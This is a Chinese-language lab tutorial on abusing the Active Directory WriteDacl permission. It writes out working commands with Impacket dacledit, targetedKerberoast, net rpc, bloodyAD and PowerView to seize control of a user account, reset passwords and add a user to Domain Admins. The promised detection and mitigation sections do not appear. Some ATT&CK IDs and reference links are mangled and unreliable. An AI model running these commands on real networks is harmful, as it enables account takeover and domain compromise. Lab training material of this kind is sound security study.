在这篇文章中,我们将探讨在AD环境中使用WriteDacl权限来利用自主访问控制列表(DACL)。攻击者可以滥用WriteDacl权限以获得未经授权的访问或修改权限以满足他们的需求。
文章概述了模拟这些攻击所需的实验室设置,并将其映射到MITRE ATT&CK框架中的方法,以阐明相关的技术和策略。同时,还涵盖了检测与WriteDacl攻击相关的可疑活动的机制,并提供了减轻这些漏洞的可操作建议。
WriteDacl权限介绍
AD中的**WriteDacl**权限允许用户修改AD对象的自主访问控制列表(DACL),赋予他们控制对象级权限的能力。攻击者可以为目标对象的DACL(自主访问控制列表)写入新的ACE。这可以使攻击者完全控制目标对象。
与给予完全控制权不同,同样的过程可以应用于允许对象通过添加两个具有特定扩展权限(DS-Replication-Get-Changes和DS-Replication-Get-Changes-All)的ACE来执行DCSync。由于GenericAll包括所有ExtendedRights,因此授予完全控制权会导致相同的结果,因此需要两个扩展权限来使DCSync工作。
-
• 对组的WriteDacl权限允许授予向该组添加成员的权利。 -
• 对用户的WriteDacl权限允许授予对用户对象的完全控制权。 -
• 对计算机对象的WriteDacl权限允许授予对计算机对象的完全控制权。 -
• 对域对象的WriteDacl权限允许授予执行DCSync操作的能力。
准备环境
-
• Windows Server 2019作为AD -
• Kali Linux -
• 工具:Bloodhound, Net RPC, Powerview, BloodyAD, Impacket -
• Windows 10/11 - 作为客户端
实验环境设置 - 用户对另一个用户拥有WriteDacl权限
在这个实验室设置中,我们将创建两个用户Aarti和Komal,其中用户Komal对Aarti用户拥有WriteDacl权限。
创建AD环境和用户账户
为了模拟AD环境,我们需要一台作为域控制器(DC)的Windows Server和一台客户端机器(Windows或Linux),我们可以在其中运行枚举和利用工具。
域控制器:
-
• 安装Windows Server(推荐2016或2019)。 -
• 通过添加AD域服务将其提升为域控制器。 -
• 设置域(例如local)。
用户账户:
-
• 创建两个AD用户账户,名为Aarti和Komal。
net user aarti Password@1 /add /domain
net user komal Password@1 /add /domain
!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL_ulSl9ceFjlJ8B8h_XUiRFc4Yed18sNYpljZmx0n5Bh-_peF5gDmFmUuAaxJBzDjrjXM-i4jVuC2ZP6yd-pakSRdRu2wggT1J2Cme-5pDDxswaXXR8YdACnokN5l1m_GWnJ11NSGO4fse4dyx_FFPxjTRwZrqIQFKDbmH68MfOH7Xpup9xXJogPjrAF2/s16000/1.png
分配“WriteDacl”权限:
-
1. 在域控制器上打开AD用户和计算机(ADUC)。 -
2. 通过点击视图 > 高级功能启用高级功能视图。 -
3. 在用户中找到用户Aarti -
4. 右键单击Aarti用户并转到属性。
!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIyqGFAep2bHF1HTlz0XYV_4R3x9d7Ul8-PR1MssBuHg1sKw9ZIeq_NNPxuXl098vB5XcM5o4rPYfPgHhmBF1J-UoTRNh17MkirQOyrytQQOWBKMl1ZHOKUVGwp57EcylVUE5KUCZtt-PJ1D80IyBpQgw6-46OP0GSrwAFYaGiPCbxFvp7Kg0KX05OKicJ/s16000/2.png
转到安全选项卡,点击添加按钮
!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxrKJTi1GCCVJ1pngKFEXuCk0hz1jXX9T6xecUUTpdaQuOKvb-eHW6DrZnDeTZuqLfYVn_cZiMv-7Dp6NofxalrSP9vo6IFkDvPajiAYwy2_l-NIwefn5ugDPL8mwSk4tzz6ZuDBRNwDvTJSBZwBR88VWHYjGUNopt4yXnzR0N1rbsQOsQD5jV8xBYqFkx/s16000/3.png
-
1. 在“输入对象名称以选择”框中,键入Komal并点击检查名称,然后点击确定。 -
2. 选择Komal用户,在权限部分,点击高级
!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvkYUBDXFELUAY93IUqbc80pVZE0PgtnGvMEQWEWba2qIAmtBRdkH-waiB6c8Osbaazj_8vK4RZe6PGhy7A_EkuuxEVMsf4wRcTEdTT_x1_DqUVsXY2mSgnQjOao7Ngl8cJsNEkgirzYVJ4b1PZxSMlJ_E9-2sFP_TIfZA_YL2dTZuqa7fX5GXBujyb15G/s16000/5.png
-
1. 在高级安全设置框中,双击Komal用户权限条目。 -
2. 在权限部分,勾选修改权限框 -
3. 应用设置。
!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJmBiBO_qJ5Y214E-_mVclOM0bvaOLWf_8qxTud-vqqkdD1mI7VGqU6OMprMjXpJiZm7rKr1Yb9fJGh_9Z0-nv7hRU32WyMmLMxX2SjTBhqFTeapIKISx97D4xrxxpVEMPC17LgFgNyjEYQa1xDxcZFssQeVji-qSxYt0KDd_ue3aKjNbp3tK9lHs0CW-M/s16000/6.png
此时,Komal现在对Aarti用户拥有WriteDacl权限。
利用阶段 I - 用户对另一个用户拥有WriteDacl权限
Bloodhound - 寻找弱权限
我们可以使用BloodHound来验证Komal对Aarti用户拥有WriteDacl权限。
bloodhound-python -u komal -p Password@1 -ns 192.168.1.3 -d ignite.local -c All
!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6wQTtJlwxV_ahjh9wttG1KKaDzXjdO4aDPam468Hp4zDKvSd-lqnY3TQ1lAzPNQcCYwjz7B1Dlx3DONpvalPTkCY6F110zSwI3CgcaEewdhXrl91H91eTyV6330avPX2SBT59veY4ZaxbzIF13T-NmHzqgWTd1lkA6Gw5OEd9QntigUH-QGcNpAplYVS_/s16000/7.png
从Bloodhound的图形表示中,测试人员希望识别出所选用户外出站对象控制,其中第一维度的对象控制值等于1。
从图中可以看出,Komal用户对Aarti用户拥有WriteDacl限。
利用方法 - 授予完全控制权,然后进行Kerberoasting(T158.003)或更改密码(T110.001)
当控制一个对另一个对象拥有WriteDacl的对象时,可以进行这种滥用。
Linux Impacket工具 - 授予完全控制权
从类UNIX系统,可以使用Impacket的dacledit.py[2](Python),或者Impacket-dacledit。
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'komal' -target-dn 'CN=aarti,CN=Users,DC=ignite,DC=local''ignite.local'/'komal':'Password@1' -dc-ip 192.168.1.3
借助dacledit的帮助,成功修改了该对象的DACL,Komal用户现在对Aarti用户拥有完全控制权。
现在,由于用户对目标拥有完全控制权,那么可以执行kerberoasting或者在不知道目标当前密码的情况更改密码(ForceChangePassword)。
Linux Python脚本 - TargetedKerberoast
从类UNIX系统,可以使用targetedKerberoast.py[3](Python)。
./targetedKerberoast.py --dc-ip '192.168.1.3' -v -d 'ignite.local' -u 'komal' -p 'Password@1'
进一步,借助John the Ripper和诸如Rock You这样的字典,可以帮助攻击者暴力破解弱密码
Linux - 更改密码
Linux Net RPC - Samba
可以使用net工具,这是用于管理samba和cifs/smb客户端的管理工具。
net rpc password aarti 'Password@987' -U ignite.local/komal%'Password@1' -S 192.168.1.3
Linux Bloody AD
或者,可以使用bloodyAD
bloodyAD --host "192.168.1.3" -d "ignite.local" -u "komal" -p "Password@1" set password "aarti" "Password@789"
Windows PowerShell Powerview - 授予完全控制权
从Windows系统,可以使用Add-DomainObjectAcl(PowerView模块)。
powershell -ep bypass
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "aarti" -PrincipalIdentity "komal"
借助Add-DomainObjectAcl的帮助,成功修改了该对象的DACL,Komal用户现在对Aarti用户拥有完全控制权。
现在,由于用户对目标拥有完全控制权,那么可以执行kerberoasting或者在不知道目标当前密码的情况更改密码(ForceChangePassword)。
Windows PowerShell Powerview - Kerberoasting
从Windows机器,可以使用Set-DomainObject和Get-DomainSPNTicket(PowerView模块)。
Set-DomainObject -Identity 'aarti' -Set @{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'aarti' | Select serviceprincipalname
$User = Get-DomainUser 'aarti'
$User | Get-DomainSPNTicket
Windows PowerShell Powerview - 更改密码
Linux NetPC - Samba
攻击者可以使用PowerView模块更改用户密码。这可以通过Set-DomainUserPassword cmdlet实现。
$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword
实验设置 - 用户对域管理员组拥有WriteDacl权限
环境搭建
创建AD环境:
为了模拟活动目录环境,我们需要一台作为域控制器(DC)的Windows Server和一台客户端机器(Windows或Linux),我们可以在其中运行枚举和利用工具。
域控制器:
-
• 安装Windows Server(推荐2016或2019)。 -
• 通过添加活动目录域服务将其提升为域控制器。 -
• 设置域(例如local)。
用户账户:
-
• 创建一个名为Rudra的标准用户账户。
net user rudra Password@1 /add /domain
为Rudra分配“WriteDacl”权限:
一旦我们的AD环境设置完成,我们需要为域管理员组的Rudra分配**“WriteDacl”**权限。
步骤:
-
1. 在域控制器上打开活动目录用户和计算机(ADUC)。 -
2. 通过点击视图 > 高级功能启用高级功能视图。 -
3. 在用户容器中找到域管理员组。 -
4. 右键单击域管理员并转到属性。
转到安全选项卡,点击添加按钮
-
1. 在“输入对象名称以选择”框中,键入Rudra并点击检查名称,然后点击确定。 -
2. 选择Rudra用户,在权限部分,点击高级选项 -
3. 在高级安全设置框中,双击Rudra用户权限条目。 -
4. 在权限部分,勾选修改权限框 -
5. 应用设置。
此时,Rudra现在对域管理员组拥有WriteDacl权限,这意味着他们可以将自己的添加到该组。
利用阶段 II - 用户对组拥有WriteDacl权限
Bloodhound - 寻找弱权限
使用BloodHound确认权限:我们可以使用BloodHound来验证Rudra对域管理员组拥有WriteDacl权限。
bloodhound-python -u rudra -p Password@1 -ns 192.168.1.3 -d ignite.local -c All
从Bloodhound的图形表示中,测试人员希望识别出所选用户出站对象控制,其中第一度的对象控制值等于1。
因此,它显示了Rudra用户对域管理员组拥有WriteDacl权限。
授予完全控制权,然后进行账户操纵(T1098)
LinuxImpacket工具 授予完全控制权
从类UNIX系统,可以使用Impacket的dacledit.py[4](Python),或者Impacket-dacledit。
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'rudra' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'rudra':'Password@1' -dc-ip 192.168.1.3
借助dacledit的帮助,成功修改了该对象的DACL,rudra用户现在对组拥有完全控制权。
Linux - 添加成员到组
Linux Net RPC - Samba
测试人员可以通过将Rudra用户添加到域管理员组并列出域管理员成员来滥用此权限,以确保Rudra用户成为域管理员。
net rpc group addmem "Domain Admins" rudra -U ignite.local/rudra%'Password@1' -S 192.168.1.3
Linux Bloody AD
或者,可以使用bloodyAD
bloodyAD --host "192.168.1.3" -d "ignite.local" -u "rudra" -p "Password@1" add groupMember "Domain Admins" "rudra"
Windows PowerShell Powerview - 授予完全控制权 从Windows系统,可以使用Add-DomainObjectAcl(PowerView模块)。
powershell -ep bypass
Import-Module .PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "rudra"
Windows Net命令 - 添加成员到组
这可以通过使用Windows net命令的原生命令行实现。
net group "domain admins" rudra /add /domain
因此,从用户属性中我们可以看到Rudra用户已成为域管理员的成员。
引用链接
[1]
Abusing AD-DACL: WriteDacl - Hacking Articles: https://www.hackingarticles.in/abusing-ad-dacl-writedacl/[2]
dacledit.py: http://dacledit.py/[3]
**targetedKerberoast.py**: http://targetedkerberoast.py/[4]
dacledit.py: http://dacledit.py/
原文始发于微信公众号(TIPFactory情报工厂):滥用AD-DACL:WriteDacl
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论